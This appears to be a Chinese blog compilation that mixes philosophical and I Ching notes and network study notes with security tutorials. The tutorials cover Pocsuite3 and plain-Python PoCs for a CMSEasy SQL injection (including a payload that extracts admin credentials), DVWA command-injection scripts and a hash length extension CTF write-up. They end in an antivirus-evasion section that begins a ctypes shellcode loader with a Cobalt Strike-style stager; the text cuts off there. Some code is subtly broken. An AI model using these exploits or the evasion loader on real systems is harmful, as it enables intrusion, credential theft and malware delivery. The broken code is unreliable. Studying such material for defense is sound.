0%

目前算是缓缓进入阶段了,逐步都在状态之中,让人感慨的就是通过不同信息渠道了解到其一其二之类的讯息,只有亲身去尝试后才知道难度并不是那么简单。在刚开始准备的一段时间,浑浑噩噩的活了一段时间,不想学习,不想玩,不想吃,只想睡。就好像闭上眼睛,一切都是安静的,可惜噪音太大让人闭不上眼,只能强行睁开,看着自己不想看的东西。接触了一些思想,也进行过类似正念的训练,算是有了点新的认识,这或许也是我的龙场悟道。先师王阳明的心学讲究一个知行合一,知与行相辅相成,没有所谓的先后之分,往往是伴生的概念,而先师李耳的理论道,则讲究“反者道之动,道者反之动”,过于在乎名,就会引发反者道之动,不在乎名,就会引发道者反之动。两者看样子毫无相交,这些日子下来,感觉也有点细丝牵连。这滋味,道不明白。

下次见。

听说彼岸花长在尸体上

朝闻道,夕死可矣

好可悲,每次睁开眼,看不到无边的自由

河图歌:

天一生水,地六成之

地二生火,天七成之

天三生木,地八成之

地四生金,天九成之

天五生土,地十成之

洛书诀:

戴九履一,左三右七,二四成肩,六八为足,以五居中

先天八卦:

伏羲八卦

乾一,兑二,离三,震四,巽五,坎六,艮七,坤八

乾坤定南北,坎离定东西,以天南地北为序,上为天乾,下为地坤,左为东离,右为西坎

对宫相加和之数为九,中之数乃五亦十。

演变过程:太极,两仪,四象,八卦

后天八卦:

文王八卦

坎一,坤二,震三,巽四,中五,乾六,兑七,艮八,离九

中之数为五,对宫纵横相加数为十五

离坎定南北,震兑定东西

太极为一,即是道,太极动而生阳,静而生阴,是生两仪,一阴一阳即为两仪,画一奇即为阳,

画一偶即为阴,象阳为阳爻,象阴为阴爻。阳爻即为——,阴爻即为–,为构成八卦的基本符号,是阴阳矛盾的形态和万物演变过程的最基本阴阳二气的基本符号

一阴一阳两仪各生一阴一阳之象,即一分为二,生出四象,四象为少阳,老阳,少阴,老阴,为两仪生四象,四象再各自生阴生阳,生出八卦,四象生八卦,即在以上四象各加一道阳爻或者阴爻,叠之为三,产生八种新的符号,比如在少阴上加一阳爻,则为离之卦,以此类推先天八卦就产生了。先天数的产生是由混沌无极,无形无象,只是一炁相生,阴阳相加,自然变化一至八,所之为“先天”

图片

图片

图片

图片

基于Pocsuite框架SQL注入的Poc编写

之前是无框架编写Poc,现在尝试将之前的Poc文件改写成基于Pocsuite框架的Poc

之前代码里我采取使用requests模块来发送http请求,而在Pocsuite中,框架要求使用Pocsuite框架封装好的req,其实他就是python的requests库,具体的用法看requests的官方文档就行

至于为啥不能直接在Poc中直接import requests呢?因为有些时候,我们在批量使用Poc时,有些网站会对爬虫或者类似行为做一点手脚,会对请求报文查看有没有http请求头,比如有一些WAF会检测请求里是否有User-Agent,所以这是其中一个理由,框架集成终归是有好处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE, POC_CATEGORY
from pocsuite3.lib.request import requests



class CmsEasyPoc(POCBase):
    '''
    0.编写的文件名应该符合poc命名规范:"组成漏洞应用名_版本号_漏洞类型名称", 其中文件名中所有字母改为小写,所有特殊符号改为下划线
    1.编写DemoPOC类,继承自POCBase类
    2.填写POC信息字段(如下):
    '''
    vulID = '88979' # ssvid ID,如果是提交漏洞同时提交POC,写成0
    version = '1'   # 默认为1
    author = ['Timerain']     # POC作者的名字
    vulDate = '2022-11-29'  # 漏洞公开的时间,不明确时可以写今天(我瞎写的时间)
    createDate = '2022-11-29'
    updateDate = '2022-11-29'
    references = ['xxx.cn']  # 漏洞地址来源,0day可以不写
    name = 'trick or treat'      # POC名称
    appPowerLink = 'http://cmseasy.cn/'   # 漏洞厂商的主页地址
    appName = 'CMSEasy'       # 漏洞应用名称
    appVersion = 'All'      # 漏洞影响版本
    # vulType = VUL_TYPE.OTHER      # 漏洞类型(这里我瞎选的)
    desc = '''
        这里填写漏洞详情
    '''
    samples = ['']  # 漏洞样例,使用poc测试成功的网站
    # PoC 第三方模块依赖说明。PoC 编写的时候要求尽量不要使用第三方模块,如果必要使用,请在 PoC 的基础信息部分,增加 install_requires 字段,按照以下格式:install_requies = [pip时候的模块名, pip时候的模块名]填写依赖的模块名。
    install_requies = []

    def _verify(self):
        '''
            验证模式
        '''
        result = {}
        target = self.url + '/celive/live/header.php'
        Post_Data = {
            'xajax':"LiveMessage",
            'xajaxargs[0][name]':"1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
        }
        #使用requests发送post请求
        response = requests.post(target,data=Post_Data,timeout=10)
        content = response.content
        #这里md5值就是md5('233')的值
        try:
            if response.status_code == 200 and 'e165421110ba03099a1c0393373c5b43' in content:
                result = {'VerifyInfo':{}} #创建自定义的字典信息
                result['VerifyInfo']['URL'] = target
        except Exception as e:
            pass
        return self.parse_result(result)

    def _attack(self):
        '''
        攻击模式
        '''
        return self._verify()

    def parse_result(self,result):
        '''
        检测返回结果数据统一封装到这个方法里进行处理
        '''
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail("Internet nothing returned")

        return output

register_poc(CmsEasyPoc)#注册poc类

若是压缩包方式下载的:放到pocsuite下的pocs目录,然后python cli.py xxxxx方式运行
上述代码用Pocsuite3框架执行(pip下载用这种方式)

执行命令:

1
pocsuite -r xxx.py -u http://192.168.0.105:8000  --verify

接下来就是见证自己的Poc运行
接下来解释下代码

第一部分

图片

第二部分

图片

最上面就是引入一些类库,中部是一个Poc的类,继承自PocBase类,类中的俩主要函数为_verify和_attack,这两个分别是verify和attack模式的入口函数,然后还有一个自己定义的函数parse_result,用于统一输出

下面是针对每个具体的部分的说明,具体信息在框架文档里已经详细说明了。

第一部分代码主要是引入pocsuite的类库,要用什么就引入什么,找不到就去目录里找一下

图片

第二部分代码,用于填写一些基础信息,根据漏洞实际情况填写就行,在多个Poc多情况下很有用

图片

接下来就是具体的verify的代码,如果之前无框架版代码看过,框架版的verify并不是问题

唯一不同的是输出并不是print,而是我们将输出的信息保存在一个叫做result的字典里面,然后再调用parse_result将其输出

图片

这里是attack的入口,这个是带有攻击性质的验证模式,也就是说在这个函数里可以放一些带有攻击性质的payload,比如注出管理员密码,相对verify来说就稍微复杂了点,所以我就偷懒没写了,直接返回verify

parse_result这个函数,是自己定义的函数。前两个函数都是入口,也就是框架要调用这两个函数,程序执行进来以后,想怎么调用就怎么调用

最后一定要注意调用register来注册Poc类,这样框架才能知道这个类是Poc类就会去调用它。

图片

总结:

这里主要基于报错的 SQL 注入 PoC 编写,也就是针对有回显的 SQL 注入,我们 PoC 模拟了浏览器提交数据的这一过程,我们判断是否存在漏洞的依据就是看返回页面的内容是否有我们预期的值

 

这里要注意的就是,我们判断的凭据不是说我提交了 abcde 到目标服务器,目标返回一个 abcde 就可以了,而是要证明我们的代码执行了,所以可以提交 ASCII 码到服务器,如果返回了对应的字符,就证明了可以执行。而为了减少误报,本着概率的角度,我们要使用稍微长的一个随机字符串(一定要注意随机,比如一个很长的单词 Christmas 就不行,这种有意义的字符串出现的概率有些大)

之前稍微学了点poc的注意事项,这里继续找dvwa的命令注入漏洞做一次快速入门编写Poc

1.1 实验环境

1
2
3
4
python3
lxml
requests
dvwa

2.1 漏洞分析

1
2
user: admin
password: password

将 DVWA Security 修改为low,本次使用 Command Injection(命令注入) 模块作为此次Poc验证漏洞点

2.2 如何触发漏洞?

Command Injection(命令注入) 该模块由于对输入的参数检查不严格导致任意命令执行

1
ping xxx.cn && whoami

图片

2.3 源码分析

Command Injection 模块源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

对源码进行代码审计很容易发现,输入$ip参数,会对pc所使用的系统进行一个判断,随后将$target进行拼接,但没进行任何的过滤吧,所以我们可以命令拼接来进行命令执行

1
shell_exec( 'ping  -c 4 ' . $target ) == shell_exec('ping  -c 4 sechelper.cn&&whoami' );

3.1 分析http数据包

使用火狐F12里进行查看http请求或者burp抓一个包看看都行

这里举个例子:

文件/vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http请求包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1

ip=192.168.17.5&Submit=Submit

3.2 构建初版代码

漏洞最主要的信息已经知道了,开始编写代码

1
2
3
4
5
6
7
8
9
10
11
import requests

url = ''
data = {
    'ip':'xxx.cn'
}

#禁止跳转allow_redirects = False
res = requests.post(url=url,data=data,allow_redirects=False)
print("状态:{}".format(res.status_code))
print("302跳转地址:{}".format(res.next.url))

执行上面代码返回状态 302,不应该是200 吗?为什么返回 302 ?,观察控制台内打印出的跳转地址是登入界面,原来/vulnerabilities/exec/ 有授权验证,未授权会跳转到登入界面

3.3 请求授权接口

这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入 cookie 头

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit": "Submit"}

# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("状态: {}".format(response.status_code))
print("结果: {}".format(response.text))

运行后就能够看出代码已经可以访问并利用 /vulnerabilities/exec/ 存在漏洞接口

3.4 快速验证漏洞两种方法

  • 特征匹配返回结果里的特征检测漏洞是否存在,匹配到 自定义 的字符则表示漏洞存在
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # coding=utf-8

    import requests

    url = "http://192.168.17.5/vulnerabilities/exec/"
    # Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
    headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
    data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}

    # 禁止跳转 allow_redirects = False
    response = requests.post(url, data, allow_redirects=False, headers=headers)

    if response.status_code == 200 and response.text.find("sechelper") != -1:
    print("[*] {} is weak".format(url))
    else:
    print("[x] {} is safe".format(url))
    print("Detection completed...")
  • 关键输出方式输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    # coding=utf-8

    import requests

    url = "http://192.168.17.5/vulnerabilities/exec/"
    # Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
    headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
    data = {"ip": "192.168.111.129&&echo sechelper", "Submit": "Submit"}

    # 禁止跳转 allow_redirects = False
    response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)

    if response.status_code == 200:
    from bs4 import BeautifulSoup
    soup = BeautifulSoup(response.text, 'lxml')

    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
    print("Detection completed...")

[TOC]

PoC(全称: Proof of Concept), 中文译作概念验证。即漏洞验证程序,而漏洞利用程序即为Exp。因为python的简单易懂加上类库比较丰富,所以首先Python来进行编写。

POC注意事项

  1. 随机性 参数随机(有时候可以不随机)
  2. 通用性 要对一样组件的网站都立,不能是针对个网站
  3. 确定性 要确验证漏洞存在与否

    尝试编写第一个POC

dvwa的sql注入poc

这个是要自己在id参数里面添加’

根据返回结果才可以验证出来

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
import requests

header = {
        "Cookie":""
}
url = input("请输入目标url")
r = requests.get(url,headers=header)
res = str(r.content)
if re.search("syntax",res):
    print("存在sql注入")
else:
    print("不存在sql注入")

这就是一个简单的poc,可用来验证dvwa中cookie类sql注入,程序很简单但却能验证是否存在漏洞

切入

这里提到了sql注入,那就以SQL注入为切入点,恰好sql注入也是很多人入门的一个漏洞。编写之前我们要了解下漏洞原理,以及漏洞的分类

注入原理

是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵

注入分类

下面这些个分类是我个人的见解。

注入点类型分类

数字型注入点

  • 形如http://xxx.com/news.php?id=1这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为select * from 表名 where id=1

  • 字符型注入点*

  • 形如http://xxx.com/news.php?name=admin这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为select * from 表名 where name='admin'。注意多了引号。

  • 搜索型注入点*

  • 这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。

  • 此类注入点提交的 SQL 语句,其原形大致为:*select * from 表名 where 字段 like '%关键字%'

    数据提交方式分类

这种分类其实只是 HTTP 传递数据的方式不同,严格来讲和 SQL 没多大关系,但是在编写 PoC 的时候,这会影响到我们的代码中发送数据的形式

GET 注入

  • 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1, id 是注入点。

  • POST 注入*

  • 使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

  • Cookie 注入*

  • HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

  • HTTP 头部注入*

  • 注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

    执行效果分类

这个分类也是 sqlmap 所支持的注入模式,这个分类的依据也是后面我们用 PoC 判断是否存在注入的依据。

基于报错注入

  • 这一类的也叫有回显注入,页面会返回错误信息,或者是把注入语句的结果直接返回在页面中。

  • 基于布尔的盲注*

  • 根据返回页面的结果判断构造的 SQL 条件语句的真假性

  • 基于时间的盲注*

  • 当根据页面返回的内容不能判断出任何信息时,使用条件语句查看时间延迟语句是否执行,也就是看页面返回时间是否增长来判断是否执行。

    例子分析:

这里因为我是参考着文章进行学习,但是原有漏洞的分析文章已经无了,我先把链接挂在这

https://mp.weixin.qq.com/s/Ef9Bmp53sEuDLv3KwqdI-g

这里poc编写的漏洞是CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞(wooyun-2010-070827)

一般来说如果漏洞的分析文章已经给出了具体的利用方法,我们就可以不关注整个漏洞的成因和原理,直接去看漏洞的复现方式,获得payload和url即可

url:http:/xxx.com/celive/live/header.php

post:xajax=LiveMessage&xajaxargs[0][name]=1’,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),”,”,”,’1’, ‘127.0.0.1’, ‘2’)#

一般不推荐使用在线站点测试,懂的都懂,这里建议本地搭建或者寻找docker测试

该漏洞的注入点在 POST 数据部分,我们需要发起一个 POST 请求,我们选择 Firefox 浏览器和 HackBar 插件。填上目标 url 和 payload,然后发送。可以看到返回页面报错,而报错信息中出现了 cmseasy_user 表中的数据

图片

既然能够成功复现,那就可以尝试poc的编写

编写

编写之前,poc总是单独成体,那如果是多个poc或者是我们需要利用多个poc就应运而生了框架来管理,但是这里我们先用无框架poc编写

根据文章我们可以知道,payload是可以证明漏洞存在的,但是如果直接将poc运用到一些扫描类的产品中,这些肯定是不允许的,所以我们需要遵守几个原则

  • 无损扫描
    也就是要求不能对目标服务器有任何危害,只要证明目标存在漏洞,所以我们只要能证明可以执行 SQL 指令就好了

类似这种

图片

  • 减少误报漏报
    误报和漏报两者相伴相随。如果误报率低了,那么相对的,漏报率就跟警察叔叔抓坏人,一抓一个准,但是这样的话,肯定就会有很多漏网之鱼了。所以就需要找到一个平衡点。

一般来说,大部分人追求的原则是可以漏报,但不能误报

所以就要求我们判断的字符在正常的页面要尽可能不会经常出现,比如可以输出一串md5的值到页面

为什么选 md5 呢,因为 mysql 里面有 md5 这个函数,写起来简单,要是像 Oracle 数据库里面没 md5 这个函数怎么办呢?我们有 char() 函数(Oracle 里面是 chr()),可以把 ASCII 码转化成字符串,手动多打几个随机字符就好啦

根据以上原则,我们把payload进行修改

url:http:/xxx.com/celive/live/header.php

post:xajax=LiveMessage&xajaxargs[0][name]=1’,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),”,”,”,’1’, ‘127.0.0.1’, ‘2’)#

md5(233) 的值就是 e165421110ba03099a1c0393373c5b43

图片

ok,基本复现成功,可以写poc了。

目的是写一个能发送post请求的,然后返回我们设置的md5值

刚开始我们以最最简单的html形式来尝试实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>poc</title>
</head>
<body>
    <form action="http:/xxx.com/celive/live/header.php" method="post">
        <input type="hidden" name="xajax" value="LiveMessage"/>
        <input type="hidden" name="xajaxargs[0][name]" value="1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"/>
        <input type="submit" value="GO"/>
    </form>
</body>
</html>

将上面的html代码,用浏览器打开,点击提交按钮,就能看到效果了。
图片

所以poc的实现形式也是多种多样的,以上html代码也是poc

因为poc是证明漏洞存在的代码,所以代码只要能实现的话,就没有语言之分,看你个人喜欢或者习惯而已。

如果是以Python形式实现就是这样:

原链接使用python2和urllib包进行实现,我这里是python3环境稍加变动而已,不影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import hashlib
import sys

def  verify(url):
    target = "%s/celive/live/header.php" % url
    #要发送的数据
    Post_Data = {
        'xajax':"LiveMessage",
        'xajaxargs[0][name]':"1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
    }
    try:
        #发送HTTP请求
        req = requests.post(url=target,data=Post_Data)
        response = req.text
        if hashlib.md5('233').hexdigest()  in response:
            print("%s is vulnerable") % target
        else:
            print("%s is not vulnerable") % target

    except Exception as e:
        print("Something is wrong")
        print(e)

def main():
    args = sys.argv
    url = ""
    print('This Poc is based on Python3 Environment')
    if len(args) ==  2:
        url = args[1]
        verify(url)
    else:
        print("Usage:python %s url") % (args[0])
   
if __name__ =='__main':
    main()

下面简单讲一下这个代码做了什么:
main 方法里面大概处理了一下用户的输入

verify 方法里面先是拼接了一下要发送的目的 url, 然后把 post_data(也就是我们的 Payload)发送到目的 url, 最后再处理了一下服务端的响应页面。其实整个过程就像是我们自己用浏览器去手工验证一样,只不过实行了自动化改进。

当然上述的代码,实际运行的时候还是需要改进的,毕竟有很多细节的地方还需要再完善。比如说我们的输入部分每个都需要手动输入,假设有很多个 PoC, 这很麻烦了吧,而且不是每个人都能想到那么多特殊情况。另外输出结果的时候,就用了一个 print , 显然这样的输出很不友好,而且一个 PoC 还不能支持批量扫描,如果你想加载多个 PoC 去扫描多个目标的时候,效率就很低下。

所以应运而生了Poc框架,能够有效避免一些重复工作(当然你编程能力很强能够自己改动也是可以的)

计算机网络概述:

计算机网络:组成,功能

功能:数据通信,资源共享,分布式处理,提高可靠性,负载均衡

分类:分类范围,传输技术,拓扑结构,交换技术,传输介质

性能指标:时延,往返时延,吞吐量,速率/数据率/比特率,时延带宽率

计算机网络体系结构与参考模型:

计算机网络协议、接口、服务

ISO/OSI开放系统互联参考模型

TCP/IP模型

ISO/OSI与TCP/IP模型的不同

计算机网络概述:

计算机网络的组成:

从组成部分:一个完整的计算机网络主要由硬件、软件、协议三大部分组成,缺一不可。硬件主要指:主机、通信链路、交换设备和通信设备等;软件主要指:用户使用的各种软件;协议指:网络传输数据时需遵循的规范。

从工作方式看:可分为边缘部分和核心部分。边缘部分由所有连接到因特网上供用户使用的主机;核心部分由大量的网络和连接网络的路由器组成

从功能组成看:计算机网络由通信子网和资源子网组成。通信子网由各种传输介质、通信设备和响应的网络协议组成;资源子网是实现资源共享功能的设备及其软件的集合,向网络用户提供服务

计算机网络的功能:

数据通信:网络最基本和最重要的功能,用来实现信息的传输

资源共享:使计算机网络分工协作,互通有无

分布式处理:将某个复杂任务分配给网络中的其他计算机系统

提高可靠性:计算机网络中各台计算机可以通过网络互为替代机

负载均衡:将工作均衡地分配给计算机网络中的各台计算机

计算机网络的分类:

按分布范围:

广域网,范围通常几十千米-几千千米

城域网,几个街区或整个城市

局域网,几十米到几千米

个人区域网,直径约10m

按传输技术分类:

广播式网络,所有计算机共享一个公共通信信道

点对点网络,每条物理线路连接一对计算机

按拓扑结构分类:

总线形网络,星形网络,环形网络,网状形网络

按交换技术分类:

电路交换网络:在发送、接收双方建立一条专用的通路用于数据传输

报文交换网络:将数据加上地址等信息,进行转发,每个报文自行选择路线

分组交换网络:将数据分成较小的数据块,类似报文交换,只是将报文分成更小的多个分组

按传输介质分类:

分为有线网络和无线网络

计算机网络的性能指标:

时延:

发送时延:从发送分组的第一个比特算起,到该分组最后一个比特发送完毕所需的时间

传播时延:一个比特从链路一端到另一端所需的时间

处理时延:分析地址部分、进行差错检验等花费的时间

排队时延:在进入路由器后等待处理的时间

往返时延:从发送端发送数据开始,到发送端收到来自接受端的确认,总共经历的时间

吞吐量:单位时间通过某个网络(或接口)的数据量

速率:连接到计算机网络上的主机在数字信道上传送数据的速率,也称数据率或比特率。通常,把最高数据率称为带宽

时延带宽积:指发送端第一个比特即将到达终点时,发送端已经发出了多少个比特。时延带宽积=传播时延*信道带宽

结构:

分层结构:

基本原则:每层都实现一种相对独立的功能,降低大系统的复杂度各层之间自然清晰,易于理解,相互交流尽可能少

各层功能的精确定义独立于具体的实现方法,可以采用最合适的技术来实现

保持下层对上层的独立性,上层单向使用下层提供的服务。整个分层结构应能促进标准化工作

两个主机通信时,同一层在逻辑上有一条直接信道,表现为不经过就把信息传送到对方

协议、接口与服务:

协议:协议即规则的集合,由语法、语义和同步三部分组成。语法规定了传输数据的格式;语义规定了所要完成的功能;同步规定了执行各种操作的时序关系等

接口:接口是相邻两层交换信息的连接点

服务:服务是指下层为紧邻的上层提供的功能调用

注意:协议和服务在概念上是不一样的,只有本层协议的实现才能保证向上层提供服务

计算机网络的服务可分为三种:

1、面向连接服务与无连接服务:

面向连接服务中,通信前双方必须先连接,分配资源,再进行数据传送,传输结束释放连接

无连接服务中,通信双方不需要先建立连接,需要发送数据时可直接发送,通常被称为“尽最大努力交付”

2、可靠服务与不可靠服务:

可靠服务是指网络具有纠错、检错机制,保证数据正确可靠

不可靠服务是指网络的正确性、可靠性由应用或用户来保障

3、有应答服务和无应答服务:

有应答服务即接收方在收到数据后向发送方给出相应的应答

无应答服务即接收方在收到数据后不自动给出相应的应答

ISO/OSI模型:

图片

物理层:物理层的传输单位是比特,任务是透明的传输比特流,功能是在物理媒体上为数据端设备透明地传输原始比特流

数据链路层:数据链路层的传输单位是帧,任务是将网络层传来的IP数据报组装成帧。数据链路层的功能可以概括成帧、差错控制、流量控制和传输管理等

网络层:网络层的传输单位是数据报,主要任务是把网络层的分组从源端传目的端,为分组交换网上的不同主机提供通信服务

传输层:传输层也称运输层,传输单位是报文段(TCP)或用户数据报(UDP),传输层负责主机中两个进程之间的通信

会话层:会话层允许不同主机上的各个进程之间进行会话。会话层利用传输层,提供的端到端的服务,为表示层实体或用户进程建立链接并在链接上有序的传输数据,这就是会话,也就是建立同步

表示层:表示层主要处理在两个通信系统中交换信息的表示方式,数据压缩、加密和解密也是表示层可提供的数据表示变换功能

应用层:是用户与网络的界面

TCP/IP模型

图片

二者的不同:

OSI模型定义了三个主要概念:服务、协议和接口

TCP/IP在这个三个概念上没有明确区分

OSI模型在网络层支持无连接和面向连接的通信,但在传输层仅有面向连接的通信

TCP/IP在网际层仅有一种无连接的通信模式,但在传输层支持无连接和面向连接的两种模式

本来躺在实验室摆烂的,但是突然学妹来问,就想着做一做,细看以为很简单,结果牵涉到我没学过的知识点,问了下安逸师傅,写个总结。

给了个登录框

图片

随便输入admin,admin然后返回了点东西

图片

我以为按照注释思路走,把secret的值求出来,然后一步一步按照注释改cookie就可以了。其实不然,这里主要是涉及到哈希扩展攻击。

不过这里先开始讲解题

复制注释,我们可以搜到这道题的出题灵感

https://www.shuzhiduo.com/A/x9J2QOEWz6/

很明显题目只是进行了删减了,只留下最重要的哈希扩展这一部分

回到题目

图片

给了我们secret的长度,secret+flag的md5值,以及data的值(也就是flag),满足这三点信息要求,那么就是明显的hash长度扩展攻击。我们就能构造出secret+data+其他值的md5,就能绕过这道题的验证。

具体原理移步这里:https://www.cnblogs.com/p00mj/p/6288337.html

如果要进行构造,那我们可以下载hashpump进行

用法如下:

图片

然后传burp获得flag路径

图片

访问就是flag

图片

哈希扩展攻击原理和hashpump的安装可以参考这篇文章

https://www.cnblogs.com/pcat/p/5478509.html

最近学了点木马免杀,其实总结起来一共有三个层面,代码面,文件面,逻辑面。

这里主要是在代码层面可以通过shellcode编码混淆,编辑执行器,分离加载器等方法进行免杀

Python加载shellcode

ctypes

ctypes是 Python的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。

dll动态链接库

动态链接库是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。其后缀名多为.dll, dll文件中包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。我们经常在程序安装目录下看到它们。

shellcode加载器

python加载shellcode可以使用该代码来加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import ctypes
#
#cs加载
#shellcode=b'\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x79\x49\x53\x47\x00\x92\x55\x4a\xe7\x6f\x4e\x93\x97\xf6\xdb\x8a\xc2\x8c\x89\xfe\x25\x7d\x9f\x6c\x95\x75\x15\xaf\x9f\x9c\x1b\x9b\x2b\x0b\x54\xf8\x7c\xb5\xba\xe6\x4b\x3f\x0